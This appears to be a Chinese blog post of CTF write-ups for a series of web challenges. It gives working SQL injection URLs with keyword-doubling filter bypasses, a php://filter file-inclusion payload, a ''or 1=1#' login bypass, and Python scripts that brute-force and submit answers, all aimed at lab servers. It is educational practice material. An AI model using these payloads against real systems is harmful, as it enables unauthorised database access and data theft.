CTF_论剑场 Web WriteUp(持续更新)

文章目录

    • web1
    • web9
    • 流量分析
    • web2
    • web5
    • web6
    • web11
    • web13
    • 日志审计
    • web18
    • web20
    • web25
    • web3
    • web4

web1

CTF_论剑场 Web WriteUp(持续更新)_第1张图片
利用的是变量覆盖漏洞
http://www.mamicode.com/info-detail-2314166.html
payload:http://123.206.31.85:10001/?a=&c=aaaaa

web9

题干:在这里插入图片描述
要求你PUT一串信息"bugku" 才能获得flag

先打开 burpsuite抓包
CTF_论剑场 Web WriteUp(持续更新)_第2张图片
Send to Repeater
CTF_论剑场 Web WriteUp(持续更新)_第3张图片
把这里GET改成PUT 然后下边写要传的参数即可
CTF_论剑场 Web WriteUp(持续更新)_第4张图片
会获得一个base64 转码之后就是flag了

流量分析

再第一个tcp流里面就能找到flag了
CTF_论剑场 Web WriteUp(持续更新)_第5张图片

web2

CTF_论剑场 Web WriteUp(持续更新)_第6张图片
每次刷新的式子不一样 人算并且提交基本不可能
所以就要用到python了
撸脚本:

import requests
import re
url = 'http://123.206.31.85:10002/'
s = requests.session()
html = s.get(url).text
html = html[82:]
nums = re.search('

',html).start() html = html[:nums] data = {'result':eval(html)} result = s.post(url,data) print(result.text)

用正则提取里边的式子 然后eval计算出答案后post提交即可
得到结果:

flag{b37d6bdd7bb132c7c7f6072cd318697c}

web5

在这里插入图片描述
题干提示注入
先测试有几个字段

不报错 http://47.95.208.167:10005/?mod=read&id=1 order by 4
报错 http://47.95.208.167:10005/?mod=read&id=1 order by 5
所以有4个字段
爆数据库:http://47.95.208.167:10005/?mod=read&id=0 union select 1,database(),3,4
得到web5
CTF_论剑场 Web WriteUp(持续更新)_第7张图片
爆表:http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='web5'
得到flag,posts,users
CTF_论剑场 Web WriteUp(持续更新)_第8张图片
直接爆flag吧

爆字段 http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'
CTF_论剑场 Web WriteUp(持续更新)_第9张图片
爆字段值http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(flag),3,4 from flag

得到flag
在这里插入图片描述

web6

CTF_论剑场 Web WriteUp(持续更新)_第10张图片
先尝试登陆一下 说要本地登陆 于是拿bp抓包 改请求头
CTF_论剑场 Web WriteUp(持续更新)_第11张图片
返回之后显示密码账号不对 于是找了一会儿 发现网页最下边有一段注释掉的base64
CTF_论剑场 Web WriteUp(持续更新)_第12张图片
转码后发现是test123 可能是密码 猜测一下账号为admin 于是再登陆试试看
CTF_论剑场 Web WriteUp(持续更新)_第13张图片
成功得到flag

web11

进去后发现页面是这样的CTF_论剑场 Web WriteUp(持续更新)_第14张图片
提示了有robots.txt 于是去瞄一眼
在这里插入图片描述
发现有个shell.php页面
在这里插入图片描述
要求某个值的MD5值的前6位为89240b
写个py脚本碰撞一下试试看

import hashlib

def get_token(txt):
    m1 = hashlib.md5()
    m1.update(txt.encode("utf-8"))
    token = m1.hexdigest()
    return token
for i in range(0,99999999999):
    if get_token(str(i))[0:6] == '89240b':
        print(i)
        break

得到结果 50124(因为每次给的前六位md5值不一样 所以这里的答案也不一样)
提交后得到flag

web13

CTF_论剑场 Web WriteUp(持续更新)_第15张图片
发现一个提交页面 一开始也没啥思绪
试了一会儿发现抓包后响应头有个password字段
CTF_论剑场 Web WriteUp(持续更新)_第16张图片
base64转码后发现
flag{69939c8d3f9a7114471c528d6c19c952}
尝试提交后并不对……
试了一会儿后发现 去掉flag{}
输入到输入框里
CTF_论剑场 Web WriteUp(持续更新)_第17张图片

你能做的更快一点吗?你花费了xxxx毫秒

于是要我们快的话 就用python写个脚本提交了(而且这里password字段的值每次还不一样)

import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
s = requests.session()
html=s.get(url)
psw = html.headers['Password']
ans = base64.b64decode(psw)
data = {'password':str(ans)[7:39]}
res = s.post(url,data)
print(res.text)

这里先获得页面请求头里边password字段的值
然后用base64转码
再post回去
就可以获得flag了
得到的答案:
CTF_论剑场 Web WriteUp(持续更新)_第18张图片

日志审计

CTF_论剑场 Web WriteUp(持续更新)_第19张图片直接搜索flag字符串 然后发现 一大串的注入痕迹
观察了发现最后一位的数值不同 猜测可能是ascii 转成 字符就行了
于是把这一串字符串先粘贴到一个记事本里
CTF_论剑场 Web WriteUp(持续更新)_第20张图片

import re
f = open("shenhe.txt")             
line = 1             
while line:
    line = f.readline()
    if line!='':
        left = re.search('%3D',line).end()
        right = re.search('--',line).start()
        print(chr(int(line[left:right])),end='')
f.close()

然后用正则获得最后的ascii的值并且转换成字符然后输出
在这里插入图片描述

web18

注入题
CTF_论剑场 Web WriteUp(持续更新)_第21张图片
先测试单引号
http://123.206.31.85:10018/list.php?id=1' 报错(指的是内容不显示 )
加上注释
http://123.206.31.85:10018/list.php?id=1'--+ 不报错
说明这样是可以注入成功的
然后试着测了一下字段数

http://123.206.31.85:10018/list.php?id=1'union select 1,2,3--+ 报错
结果测试到1-10都报错
然后跑了一下
http://123.206.31.85:10018/list.php?id=1'union--+ 不报错
发现关键字被过滤
然后试了一下 发现 union、select、or、and都被过滤了(有些可能没测)
这里可以用双写关键字绕过
http://123.206.31.85:10018/list.php?id=1'ununionion selecselectt 1,2,3--+ 发现字段数是3
爆数据库

http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,database(),3--+ 

得到web18
爆表

http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'web18'--+

注意information里的or也要双写
得到 ctf,flag
爆字段

http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'flag'--+

获得id,flag
爆字段值

http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(flag),3 from flag--+

获得flag
CTF_论剑场 Web WriteUp(持续更新)_第22张图片

web20

在这里插入图片描述
这里有个动态密文 先尝试刷新的以下 发现一秒内的除了最后一位,动态密文是相同的
猜测是md5(时间戳)+一位随机数

然后写一段脚本提交就好了

import time
import hashlib
import requests
import random

def get_token(src):
    md5str = src
    m1 = hashlib.md5()
    m1.update(md5str.encode("utf-8"))
    token = m1.hexdigest()
    return token
s = requests.session()
urllen = 160
while urllen==160:
    url = 'http://123.206.31.85:10020/?key=' + str(get_token(str(int(time.time()+1)))) + str(random.randint(0, 9))
    html = s.get(url).text
    urllen = len(html)
    print(url)
print(html)

urllen的作用是判断页面的text是否为160 因为如果没有flag出现的话 页面大小就是160
然后跑脚本的时候发现动态密文的值是md5(时间戳+1)+一位随机数值(ps:这个搞了我好久 我还以为脚本写错了)(PPS:时间戳要+1是因为是这台电脑系统时间慢一秒 一般不用加1 多谢评论区的大佬指出~)
最后得出flag
CTF_论剑场 Web WriteUp(持续更新)_第23张图片

web25

这题一开始完全没头绪 试了好久没反应
那个下载页面是404
在这里插入图片描述
一开始我还以为是zidian和ziidan弄反了
还有обть
在这里插入图片描述
被这个也误导了很久

下面是解题思路
在这里插入图片描述
先扫描目录 发现有个shell.php
在这里插入图片描述
这个才是真正的填写页面
然后那个下载页面要把/2去掉

http://123.206.31.85:10025/ziidan.txt

然后把字典里的字符串一个个试 就能试出flag了
(完全不知道这题在考什么????)

web3

CTF_论剑场 Web WriteUp(持续更新)_第24张图片

一开始以为是文件上传题 在尝试绕过上传无果后 发现url在这里插入图片描述
可能是文件包含漏洞
https://www.cnblogs.com/iamstudy/articles/include_file.html

payload:http://123.206.31.85:10003/?op=php://filter/convert.base64-encode/resource=flag

web4

登录题
先注入测试 没有回显
然后尝试一下万能密码

账号:admin
密码:'or 1=1#
登录成功

获得flag

你可能感兴趣的:(CTF)